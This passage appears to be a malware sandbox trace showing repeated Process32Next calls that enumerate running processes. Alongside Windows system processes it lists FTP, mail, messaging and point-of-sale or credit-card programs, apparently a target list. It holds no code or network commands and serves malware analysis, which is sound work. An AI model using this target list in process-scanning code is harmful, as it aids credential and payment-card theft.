lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0122.780] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0122.782] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0122.784] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.786] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0122.788] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0122.790] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0122.792] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0122.794] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0122.796] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0122.798] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0122.800] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.802] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0122.804] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0122.805] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0122.807] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0122.809] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.811] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0122.814] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0122.816] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0122.818] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0122.821] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0122.823] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0122.825] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0122.827] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0122.828] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0122.830] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0122.833] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0122.836] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0122.838] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0122.883] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0122.909] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0122.911] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0122.913] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0122.915] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0122.917] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0122.919] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0122.921] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0122.923] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0122.926] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0122.929] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0122.932] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0122.935] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0122.938] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0122.940] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0122.943] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0122.945] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0122.948] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0122.950] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0122.953] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0122.955] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0122.961] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0122.965] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0122.967] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0122.969] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0122.972] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0122.974] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0122.984] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0122.987] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0122.989] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0122.992] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0122.994] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0122.996] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0122.998] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0123.001] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0123.003] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0123.005] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0123.008] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0123.010] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0123.012] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0123.014] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0123.017] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0123.020] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0123.022] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0123.055] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0123.058] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0123.061] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0123.063] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0123.065] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0123.067] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0123.069] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0123.072] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0123.074] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0123.076] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, 